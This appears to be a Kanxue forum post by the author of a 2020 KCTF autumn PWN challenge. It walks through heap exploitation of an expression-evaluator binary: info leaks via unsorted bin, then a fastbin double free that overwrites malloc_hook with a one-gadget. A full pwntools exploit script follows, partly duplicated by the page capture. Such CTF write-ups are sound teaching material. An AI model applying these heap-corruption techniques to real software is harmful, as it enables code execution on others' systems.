首页
社区
课程
招聘
[原创]2020KCTF秋季赛PWN题目
发表于: 2020-10-13 22:47 3252

[原创]2020KCTF秋季赛PWN题目

2020-10-13 22:47
3252

漏洞容易发现,利用过程比较繁琐,下面说几个关键点:

Q1 : 如何构造表达式修改g_broken变量?
A : 在一个平衡的后缀表达式后,每多加一个运算符,可以从桟底多取出一个数据。g_broken + unused + g_symbol_ptrs[21],共23个。若用小堆块来存储,预先布置的运算符会被堆头数据覆盖。考虑unsorted bin的分割。若残留的大小大于等于0x18,这这个残留的堆块上的数据会被覆盖,小于0x18的话就不会。所以最多可以布置7+16=23个运算符。同时分配0x100大小的chunk,利用高地址处的chunk的prev_size的\x00来做截断。
所以结论是:malloc一个0x100的chunk,平衡表达式的值构造为0,并且再其之后布置23个乘号。reevaluate一下,即可把所有数据清零。

Q2 : 如何leak堆地址?
A : 这个问题比较简单。在平衡表达式的后边多布置一个运算符,即可让堆指针数据参与运算,再把它show出来即可。

Q3 : 如何leak libc?
A : 利用unsorted bin的fd上有libc地址,再布置运算符,对最后一个堆块做运算,使其的value域恰好对应着该unsorted bin的fd。再show出来即可。同时注意到是以symbol_name来作为搜索的key的,所以要提前在这个unsorted bin的低地址chunk上布置上相关数据,让这些数据来作为搜索的key。

Q4 : 如何getshell?
A : 使用fastbin attack,构造0x70的chunk A,B,C。修改C为A。然后free(A),free(B),free(A)。需要注意的是如果直接free(A)并且堆上不存在0x70的fastbin的话。chunk A的fd会被清零,也就不能被索引到,也就不能再free(A)了。解决办法是先free掉一个0x70的chunk D,那么再free(A)后,A的fd(symbol_name域)变成了chunk D的地址,所以p64(&chunk_D)可以再次的free(A)了。会发现如果(&chunk_d)&0xff==0x00的话还是会失败,这种情况下重新选取一个chunk即可。

再往后是常规思路fastbin attack到malloc_hook上拿shell了。

采用https://github.com/Eadom/ctf_xinetd的方案

1+2+3
a+b*c
1+(2*(4+7)))
1+2+3
a+b*c
1+(2*(4+7)))
1 2 + 3 +
a b c * +
1 2 4 7 + * +
1 2 + 3 +
a b c * +
1 2 4 7 + * +
********************************
2020 KCTF | Expression Evaluator
********************************
1.Create Symbol
2.Delete Symbol
3.Reevaluate Symbol
4.Show
5.Exit
********************************
2020 KCTF | Expression Evaluator
********************************
1.Create Symbol
2.Delete Symbol
3.Reevaluate Symbol
4.Show
5.Exit
typedef struct {
  uint64_t g_broken;
  uint64_t unused;
  void* g_symbol_ptrs[21];
  uint64_t g_val_stack[50];
} G_CTX;
typedef struct {
  uint64_t g_broken;
  uint64_t unused;
  void* g_symbol_ptrs[21];
  uint64_t g_val_stack[50];
} G_CTX;
 
 
 
 
 
from pwn import *
import pdb
 
# p = remote('0.0.0.0',9997)
p = process('./ee')
 
def create(name,infix):
    p.sendafter('Your choice : ','1')
    p.sendafter('name : ',name)
    p.sendafter('Expression : ',infix)
 
def free(name):
    p.sendafter('Your choice : ','2')
    p.sendafter('name : ',name)
 
def reevaluate(name):
    p.sendafter('Your choice : ','3')
    p.sendafter('name : ',name)
 
def show(name):
    p.sendafter('Your choice : ','4')
    p.sendafter('name : ',name)
    p.recvuntil('value : ')
    data = int(p.recvuntil('\n')[:-1])
    return data
 
# construct a balanced infix expression,which postifx form
# has  length exactly equals to N(including the symbol_name
# and value field) and ends with operator op.
def infix_op(N,op):
    N -= 19 + 8
    assert(N>=5)
    if(N>=5 and N<=51):
        kN = 3
        n_list = [1 for _ in range(kN)]
        kpoints = N - (kN-1) - (kN+kN-2) - kN
        x = kpoints//14
        y = kpoints%14
        for i in range(x):
            n_list[i] += 14
        n_list[-1] += y
        assert(sum(n_list) + kN-1 + kN+kN-2 == N)
        return op.join(['0'*x for x in n_list])
    else:
        assert(N<=231)
        kN = 13
        n_list = [1 for _ in range(kN)]
        kpoints = N - (kN-1) - (kN+kN-2) - kN
        x = kpoints//14
        y = kpoints%14
        for i in range(x):
            n_list[i] += 14
        n_list[-1] += y
        assert(sum(n_list) + kN-1 + kN+kN-2 == N)
        return op.join(['0'*n for n in n_list])
 
 
# construct a balanced infix expression,which postifx form
# has exactly length N(including the symbol_name
# and value field) and valued target.
def infix_small_number(N,target):
    N -= 19+8
    assert target <= 0x7fffffffffff
    res = str(target)
    assert len(res) <= N
 
    if N<=16:
        res = '0'*(N-len(res)) + res
    else:
        assert N-len(res) >= 5 + 3
        res = infix_op(N-len(res)-3+27,'+') + '+' + res
 
    return res
 
create('a',infix_op(0xf0,'*'))
# avoid merge
create('b','1')
free('a')
# set '*' operators
for i in range(0xf0,0xd9,-1):
    create('a',infix_op(i,'*'))
    free('a')
 
# set value 0
create('a',infix_small_number(0xd9,0))
# clear all data,fixing the screen
reevaluate('a')
 
# steps to calculate the heap addrs.
# In the meanwhile,adjust the last chunk to leak libc.
create('1',infix_op(0xf0,'-'))
free('1')
create('1',infix_small_number(0xef,0xa0+19))
 
for i in range(2,22):
    if i==19:
        # set the fake chunk's symbol_name field so it can be indexed
        create('19',infix_op(0xf0,'+'))
        free('19')
        create('19',infix_op(0xef,'+'))
        free('19')
        create('19',infix_op(0xee,'+'))
    else:
        create(str(i),infix_small_number(0x90,0))
 
# get heap addr
reevaluate('1')
heap_base = show('1') - 0xe20 + 0xa0 + 19 - 0x60
print('[*]heap_base : '+hex(heap_base))
 
# get libc addr
free('20')
libc_base = show('+++') + 0x7F7AA27D8000 - 0x7f7aa2b9cb78
print('[*]libc_base : '+hex(libc_base))
 
# reset the '20' and '21' chunk
create('20',infix_small_number(0x90,0))
 
free('1')
create('1',infix_op(0xf0,'+'))
free('1')
create('1',infix_small_number(0xef,0xa0+19))
reevaluate('1')
 
# get four free ptr space
free('21')
free('20')
free('19')
free('18')
 
# here comes the fastbin attack
create('18',infix_small_number(0x60,0xaa))
create('19',infix_small_number(0x60,0xbb))
create('20',infix_small_number(0x60,0xcc))
create('21',infix_small_number(0x60,0xdd))
 
# let '21' and '20' point to the same addr
free('1')
create('1',infix_op(0xf0,'-'))
free('1')
create('1',infix_small_number(0xef,0x70))
reevaluate('1')
 
p18 = heap_base + 0xc30
 
free('18')
free('20')
free('19')
# index by p64(p18)
free(p64(p18))
 
# // 283258
# // 983908
# // 987655
one = libc_base + 0x4526a
malloc_hook = libc_base + 0x3C4B10
 
create(p64(malloc_hook-35),infix_small_number(0x60,0))
create('19',infix_small_number(0x60,0))
create('20',infix_small_number(0x60,0))
create('21',infix_small_number(0x60,one))
 
# trigger one gadget
free('19')
create('19',infix_small_number(0x100,0))
 
p.interactive()
from pwn import *
import pdb
 
# p = remote('0.0.0.0',9997)
p = process('./ee')
 
def create(name,infix):
    p.sendafter('Your choice : ','1')
    p.sendafter('name : ',name)
    p.sendafter('Expression : ',infix)
 
def free(name):
    p.sendafter('Your choice : ','2')
    p.sendafter('name : ',name)
 
def reevaluate(name):
    p.sendafter('Your choice : ','3')
    p.sendafter('name : ',name)
 
def show(name):
    p.sendafter('Your choice : ','4')
    p.sendafter('name : ',name)
    p.recvuntil('value : ')
    data = int(p.recvuntil('\n')[:-1])
    return data
 
# construct a balanced infix expression,which postifx form
# has  length exactly equals to N(including the symbol_name
# and value field) and ends with operator op.
def infix_op(N,op):
    N -= 19 + 8
    assert(N>=5)
    if(N>=5 and N<=51):
        kN = 3
        n_list = [1 for _ in range(kN)]
        kpoints = N - (kN-1) - (kN+kN-2) - kN
        x = kpoints//14
        y = kpoints%14
        for i in range(x):
            n_list[i] += 14
        n_list[-1] += y
        assert(sum(n_list) + kN-1 + kN+kN-2 == N)
        return op.join(['0'*x for x in n_list])
    else:
        assert(N<=231)
        kN = 13
        n_list = [1 for _ in range(kN)]
        kpoints = N - (kN-1) - (kN+kN-2) - kN
        x = kpoints//14
        y = kpoints%14
        for i in range(x):
            n_list[i] += 14
        n_list[-1] += y
        assert(sum(n_list) + kN-1 + kN+kN-2 == N)
        return op.join(['0'*n for n in n_list])
 
 
# construct a balanced infix expression,which postifx form
# has exactly length N(including the symbol_name
# and value field) and valued target.
def infix_small_number(N,target):
    N -= 19+8
    assert target <= 0x7fffffffffff
    res = str(target)
    assert len(res) <= N
 
    if N<=16:
        res = '0'*(N-len(res)) + res
    else:
        assert N-len(res) >= 5 + 3
        res = infix_op(N-len(res)-3+27,'+') + '+' + res
 
    return res
 
create('a',infix_op(0xf0,'*'))
# avoid merge
create('b','1')
free('a')
# set '*' operators

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

最后于 2020-12-1 13:56 被kanxue编辑 ,原因:
上传的附件:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//